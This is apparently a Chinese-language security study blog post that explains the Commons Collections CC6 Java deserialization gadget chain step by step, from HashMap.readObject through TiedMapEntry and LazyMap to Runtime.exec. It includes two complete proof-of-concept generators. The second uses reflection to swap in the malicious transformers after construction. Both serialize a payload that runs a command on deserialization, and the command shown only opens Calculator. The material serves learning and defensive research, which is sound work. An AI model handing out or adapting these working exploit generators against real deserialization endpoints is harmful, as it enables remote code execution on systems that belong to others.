之前我们分析了CC1,从简化版开始学习,再到完整分析CC1,再学习了动态代理和LazyMap的利用链构造,但是都有一个缺陷就是版本限制,只能适用于8u71之前的链子,因为AnnotationInvocationHandler的readObject方法发生了改变,CC6就是为了高版本Java的利用问题
这里我还是跟着p牛的Java安全漫谈来学习,这里p牛是简化了ysoserial的CC6利用链,gadget是这样的
我们从后往前看,可以发现还是走了LazyMap.get()
方法,在CC1中,我们是通过动态代理Map,从AnnotationInvocationHandler.readObject
调用this.memberValues.entrySet()
然后到AnnotationInvocationHandler.invoke()
再调用到get方法
而高版本的readObject逻辑已经修改了,不能走这条路了,观察CC6的gadget,这里走了org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
我们跟进TiedMapEntry去看看,执行了this.map.get(this.key)
,我们实例化的时候是可以操控map和key的的
而且他的hashCode
方法又执行了this.getValue()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
public class TiedMapEntry implements Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
// ...
public Object getValue() {
return this.map.get(this.key);
}
// ...
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
// ...
|
所以现在的目的就变成了找到哪里调用了TiedMapEntry#hashCode
,看到gadget是调用了HashMap.hash()
方法这其实就是接上了之前学习的URLDNS链子
在HashMap的readObject中调用了
1
|
putVal(hash(key), key, value, false, false)
|
跟进hash方法,调用了key.hashCode()
1
2
3
4
|
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
|
所以我们控制key为TiedMapEntry的对象即可
首先是创建好我们的恶意Map
1
2
3
4
5
6
7
8
9
|
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0]}),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
|
然后就是这次的主角TiedMapEntry登场了,我们需要他的hashCode方法,调用到他的hashCode方法的途径是HashMap的readObject里面的hash(key)
所以我们实例化TiedMapEntry,把恶意的Map传入作为map参数,key是啥无所谓,因为要进ChainedTransformer,然后再把这个TiedMapEntry作为key传入HashMap中,这样就调用到了TiedMapEntry#hashCode()
1
2
3
|
TiedMapEntry tme = new TiedMapEntry(outerMap,"key");
HashMap expMap = new HashMap();
expMap.put(tme,"value");
|
看ysoserial代码可以发现,他构造ChainedTransformer的时候,是这样的,多了一个
new ConstantTransformer(1)
起初我没觉得有什么,后来到了分析CC6的链子的时候,我发现会报错
原因是java.lang.UNIXProcess不能被序列化
这里我调试跟进去看了一下,如果POC和之前一样的话,这里是返回UNIX对象的
因为CC6的最后需要把恶意的代码加进一个新的Map里面去,然后再对这个Map进行序列化,所以这里就会因为UNIXProcess没有基础serializable而触发报错了
所以我们的解决办法就是在后面再加上一个new ConstantTransformer(1)
,这样返回的就是可序列化的对象了
链子基本就是这样了,但是有一点要注意的是,如果直接拿expMap去生成序列化数据,是不会RCE的
原因在这,当我们进入LazyMap的get方法的时候,他这个判断条件过不去,不会进入执行factory.transform方法
原因是在构造新的Map的时候,我们执行了一次expMap.put(tme,"value");
,把恶意数据put进Map中,在执行这个方法的时候会走进LazyMap的get方法,再插入一个数据进去,{"key",1}
所以当我们反序列化以后的恶意的outerMap要去执行get的时候,就会因为里面有值而过不了判断执行不了transform
解决办法就是在expMap.put(tme,"value");
的后面去把outerMap的内容删除即可
最后的POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws ClassNotFoundException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap,"key");
HashMap expMap = new HashMap();
expMap.put(tme,"value");
outerMap.remove("key");
FileOutputStream fileInputStream = new FileOutputStream(new File("./1.txt"));
ObjectOutputStream oos = new ObjectOutputStream(fileInputStream);
oos.writeObject(expMap);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("./1.txt")));
Object o = (Object) ois.readObject();
}
}
|
我们在构造序列化对象的时候,由于这里执行了这个,而这个put方法里面会执行hash(),所以就会导致在序列化的时候就会把整个利用链走一遍
1
|
expMap.put(tme,"value");
|
这里看ysoserial有个解决办法,就是构造LazyMap的时候用一个fakeTransformers对象
等到最后生成payload的时候再用反射,getDeclaredField
,把真正的恶意transformer换进去
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6pro {
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {
Transformer[] faketransformer = new Transformer[]{new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) })};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
new ConstantTransformer(1) };
// 传入fake防止序列化时执行
Transformer transformerChain = new ChainedTransformer(faketransformer);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap,"key");
HashMap expMap = new HashMap();
expMap.put(tme,"value");
outerMap.remove("key");
// 到最后生成payload的时候,利用反射把真正的transform换进去
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// 序列化数据
FileOutputStream fileInputStream = new FileOutputStream(new File("./1.txt"));
ObjectOutputStream oos = new ObjectOutputStream(fileInputStream);
oos.writeObject(expMap);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("./1.txt")));
Object o = (Object) ois.readObject();
}
}
|